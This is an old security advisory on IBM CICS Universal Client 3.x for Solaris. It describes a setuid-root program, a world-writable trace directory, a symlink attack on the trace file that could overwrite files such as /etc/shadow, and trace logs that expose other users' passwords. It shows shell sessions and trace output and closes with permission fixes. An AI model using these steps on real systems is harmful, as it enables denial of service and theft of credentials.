COMMAND
IBM CICS Universal Client
SYSTEMS AFFECTED
Systems running IBM CICS Universal Client 3.x
PROBLEM
Rude Yak found following. He had the opportunity to work with the
latest release of IBM's Universal CICS Client (3.02) on Solaris
2.6 and found what rather serious security issue (or two). The
CICS client is a set of gateways and APIs (one is Java based,
another IPC) that allows user programs on non-CICS platforms to
communicate to CICS applications. Uses for the product include
building bridges between midrange applications (including WWW
application servers) and CICS-based transactional systems. IBM
recently developed and released an updated version of the software
that removed a reliance on DCE for communications and also
promised significant performance improvements.
A problem problem was noticed when paging through the postinstall
script, mkcicscli. It does the following:
# Make sure cclclnt and cicscli run as root user
chmod +s cicscli
chmod +s cclclnt
[ snip snip snip ]
# Create direcotry for variable data - traces, etc.
mkdir /var/cicscli > /tmp/null 2>&1
chmod 777 /var/cicscli
touch /var/cicscli/shared
rm /tmp/null
If you ran truss on a client session and tou'll see a lot of
lstat64() calls with /var/cicscli/shared as an argument. The
lstat() man page mentions that the directory to the argument must
be searchable but no higher permissions are necessary. Rude found
this behavior to be somewhat odd, given that no data ever seems to
populate into /var/cicscli/shared and moved on with his testing.
Eventually, Rude had reason to test out the trace facility of the
client (switched on by running "cicscli /d"). This created a file
called CICSCLI.TRC in /var/cicscli/shared. That, of course, set
the wheels in motion. Wondering a bit if the controller program
(cclclnt), which runs setuid root thanks to the permissions set up
above, checked to see whether the target file already existed
before it was created will show was negative response. This leads
to the now-familiar DoS. Following could be executed by a
non-privileged user:
bash$ id
uid=8888(nonpriv) gid=10(staff)
bash$ ls -dl `which cicscli` /var/cicscli
-rwsr-xr-x 1 root sys 15956 Dec 8 21:02
/opt/ctg/bin/cicscli
drwxrwxrwx 2 root other 512 Jan 19 14:53 /var/cicscli
bash$ ls /var/cicscli
CICSCLI.TRC shared
bash$ rm -f /var/cicscli/CICSCLI.TRC
bash$ ln -s /tmp/foobar /var/cicscli/CICSCLI.TRC
[ at some point, someone executes "cicscli /d"]
bash$ ls -l /tmp/foobar
-rw-rw-rw- 1 nonpriv staff 18747 Jan 19 15:00 /tmp/foobar
bash$ head /tmp/foobar
01/19/99 15:00:17.914 [2047] CCL2039 **** CICS Client for Solaris v3.0
Service Level 02 - Service Trace Begins ****
01/19/99 15:00:17.954 [2051] CCL2048 Maximum trace data size set to 112
01/19/99 15:00:17.961 [2031] CCL2023 Client Response (SessId=000068E2, Slot=0, ReqRc=0, AppRc=0)
01/19/99 15:00:26.373 [2034] CCL2026 Server List request (SessId=000068E3, Space=70)
01/19/99 15:00:26.379 [2031] CCL2023 Client Response (SessId=000068E3, Slot=5, ReqRc=0, AppRc=2)
3e270 4349435351413031 0044434941205141 CICSREGN.DCIA QA ................
3e280 2020203100000000 0000000000000000 1............ ................
3e290 0000000000000000 0000000000000000 ................ ................
3e2a0 0000000000000000 0000000000000000 ................ ................
3e2b0 000000000000 ...... ......
Needless to say, you can create the symbolic link to /etc/shadow
instead of /tmp/foobar, all sort of nuisances for the sysadmin
would have ensued. Note also that the resulting CICSLI.TRC file
is, for some reason, created world-readable and world-writable.
That said, the problem that seems more grievous than the DoS
described above is that by allowing an unprivileged user to turn
tracing on, he can then view the interactions of all users running
through the CICS client, exposing userids, passwords, and other
data being passed between client and server. To wit...
bash$ ls -dl `which cicscli` /var/cicscli
-rwx--x--x 1 root sys 15956 Dec 8 21:02
/opt/ctg/bin/cicscli
drwx--x--x 2 root other 512 Jan 19 14:53 /var/cicscli
bash$ cicscli /d
CCL8001I CICSCLI - CICS Client Control Program
CCL0002I (C) Copyright IBM Corporation 1994,1998. All rights reserved.
CCL8026I Client trace is enabled
bash$ cat /var/cicscli/CICSCLI.TRC
01/19/99 14:53:37.694 [3238] CCL3237 Comms Close completed (LinkId=1, Rc=0)
01/19/99 14:53:37.789 [3233] CCL3248 Comms Unload request (Driver=CCLIBMIP)
01/19/99 14:53:37.809 [3234] CCL3234 Comms Unload completed (Driver=CCLIBMIP, Rc=0)
01/19/99 14:53:37.830 [3233] CCL3248 Comms Unload request (Driver=CCLIBMIP)
01/19/99 14:53:37.850 [3234] CCL3234 Comms Unload completed (Driver=CCLIBMIP, Rc=0)
01/19/99 14:53:37.860 [2048] CCL2040 Service Trace Disable request (SessId=00000001)
01/19/99 14:53:37.869 [2049] CCL2041 ***** CICS Client for Solaris - Service Trace Ends *****
01/19/99 14:55:07.171 [2047] CCL2039 **** CICS Client for Solaris v3.0 Service Level 02 - Service Trace Begins ****
01/19/99 14:55:07.182 [2051] CCL2048 Maximum trace data size set to 112
01/19/99 14:55:07.188 [2031] CCL2023 Client Response (SessId=000068AA, Slot=0, ReqRc=0, AppRc=0)
01/19/99 14:55:14.277 [2034] CCL2026 Server List request (SessId=000068AB, Space=70)
01/19/99 14:55:14.284 [2031] CCL2023 Client Response (SessId=000068AB, Slot=5, ReqRc=0, AppRc=2)
[ ... chop chop chop ... ]
01/19/99 14:55:25.976 [3246] CCL3241 Comms Send completed (ConvId=1, Rc=0)
01/19/99 14:55:26.001 [3247] CCL3254 Comms Wait request (ConvId=1)
01/19/99 14:55:26.032 [4410] CCL4411 TCP/IP (to CICSREGN) send data: Length=37
4e270 0000002500000001 00039020001912F2 ...%....... .... ...............2
4e280 0643800000001003 271104047F140301 .C......'....... ............"...
4e290 040005FFE0 ..... ....\
01/19/99 14:55:26.056 [3248] CCL3243 Comms Wait completed (ConvId=1, Rc=0)
01/19/99 14:55:26.087 [4411] CCL4412 TCP/IP (to CICSREGN) receive data: Length=12
3d458 000000E600000001 00039001 ............ ...W........
01/19/99 14:55:26.119 [4409] CCL4412 TCP/IP (to CICSREGN) receive data: Length=218
4e27c 00DA12F206438000 010001000B000500 .....C.......... ...2............
4e28c 00410000001E06C3 C5E2D50200060000 .A.............. .......CESN.....
4e29c 001003271104047F 140300160A000000 ...'............ ......."........
4e2ac 00000000001F0300 04006F3142112020 ..........o1B. ..........?.....
4e2bc 1311202013112B2B 10024235C02F424C .. ..++..B5./BL ............{..<
4e2cc 4148424C41481121 3B10024235C02542 AHBLAH.!;..B5.%B ...<.........{..
4e2dc 4C4148424C414811 4A22132020202020 LAHBLAH.J". <...<...[.......
01/19/99 14:55:26.133 [2057] CCL2058 Incoming conversation data (ConvId=1)
01/19/99 14:55:26.284 [3249] CCL3244 Comms Receive request (ConvId=1)
01/19/99 14:55:26.310 [3255] CCL3256 Comms Receive completed (last): Length=218 (ConvId=1, Reason=0, Rc=0)
4e27c 00DA12F206438000 010001000B000500 .....C.......... ...2............
Note that userid and password ("blahblah" and "blahblah") are
displayed proudly in the tracefile. Now, back to the requirement
for lstat64(/var/cicscli/shared). In order for this work for
non-root users, /var/cicscli had to at least grant those users
execute permissions. Earlier, we had determined that
/var/cicscli/CICSCLI.TRC was being created with mode 666 (ironic
on so many levels). This, combined with execute permissions being
required for /var/cicscli, means that any user on the system can
effectively monitor passwords and other ECI commarea data being
transmitted without ever having read access to /var/cicscli
itself.
SOLUTION
The Universal Client ships with default permissions that seem to
be far too promiscuous. It seems that the following steps need to
be taken to keep non-privileged users from abusing the universal
client and either denying service (by stopping the client or by
symbolically linking "over" valuable system files) or grabbing
passwords:
chmod 0700 /opt/ctg/cclclnt /opt/ctg/cicscli
chmod 0711 /var/cicscli
The first removes the setuid bit as well as execute authority from
all but the root user. The former is useless without the latter
anyway. Access to run the cicscli program can be controlled by
something like sudo (or whatever means your site has of
controlling root). The second makes it so /var/cicsli can not be
written (we don't want users setting up symlinks that get followed
by root). In this configuration, all CICS client functions have
continued to execute properly on our test systems. The only
known exposure that remains is a race condition where the root
user decides to turn on trace and a nonprivileged user may be able
to watch the CICSCLI.TRC file until root chmod-s that file to 600.